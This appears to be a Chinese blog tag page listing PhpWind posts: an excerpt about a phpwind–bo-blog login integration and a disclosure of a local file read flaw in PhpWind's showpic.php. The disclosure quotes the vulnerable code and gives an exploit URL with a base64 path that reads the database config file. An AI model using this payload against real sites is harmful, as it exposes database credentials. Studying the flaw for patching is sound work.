嗨,新朋友,很高兴认识你,欢迎来到我的博客。
文章标签: PhpWind

【原创】phpwind与bo-blog整合,简易api接口通行证 for bo-blog 2.1.0

花了10 多个小时,从研究BO-BLOG程序,研究phpwind程序,到写代码,测试代码,写完了再写一个教程再写一个安装文件,我靠~~~~ 其实我真的很不愿意写这个安装文件,哎~~~ 卸载的程序没写,手工卸载吧,反正很简单 先去睡觉了,起来后再发程序 /*————————————————————————...

PhpWind 防盗链插件Showpic.php本地读文件漏洞

漏洞文件: showpic.php 引用: str=$_SERVER['QUERY_STRING']; $img=base64_decode($str); $codelen=strlen($safeguard);//获取附加码长度 $img=substr($img,$codelen); //去掉附加码 readfile($img); 提交的参数经过base64编码后直接用readfile读文件,所以可以把路径base64编码后提交,以读出文件内容 漏洞利用方式: http://bbs.xxx.com/showpic.php?ZGF0YS9zcWxfY29uZmlnLnBocA== 然后查看源文件。 这里的ZGF0YS...